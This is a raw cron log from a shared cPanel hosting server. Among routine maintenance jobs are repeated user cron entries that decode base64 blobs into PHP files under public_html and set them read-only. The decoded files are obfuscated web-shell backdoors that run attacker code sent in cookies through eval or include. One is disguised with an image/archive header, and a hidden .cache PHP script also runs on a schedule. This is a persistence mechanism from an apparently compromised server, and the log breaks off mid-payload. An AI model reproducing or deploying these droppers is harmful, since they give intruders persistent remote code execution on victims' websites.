Mar  2 15:48:02 medusa CROND[834]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:49:01 medusa CROND[18770]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:49:01 medusa CROND[18772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:49:01 medusa CROND[18771]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:49:01 medusa CROND[18773]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 15:49:01 medusa CROND[18774]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:49:01 medusa CROND[18775]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:49:01 medusa CROND[18776]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:49:01 medusa CROND[18781]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:49:01 medusa CROND[18782]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:49:01 medusa CROND[18783]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:49:01 medusa CROND[18779]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:49:01 medusa CROND[18788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3172]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 15:50:01 medusa CROND[3212]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:50:01 medusa CROND[3219]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:50:01 medusa CROND[3274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:50:01 medusa CROND[3356]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3404]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 15:50:01 medusa CROND[3409]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:50:01 medusa CROND[3572]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:50:01 medusa CROND[3571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:50:01 medusa CROND[3573]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3576]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:50:01 medusa CROND[3575]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:50:01 medusa CROND[3595]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3597]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:50:01 medusa CROND[3596]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3601]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3604]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:50:01 medusa CROND[3609]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:50:01 medusa CROND[3610]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3614]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:50:01 medusa CROND[3612]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:50:01 medusa CROND[3598]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 15:50:01 medusa CROND[3607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:50:01 medusa CROND[3599]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 15:50:01 medusa CROND[3635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:50:01 medusa CROND[3636]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:50:01 medusa CROND[3637]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:50:01 medusa CROND[3648]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2V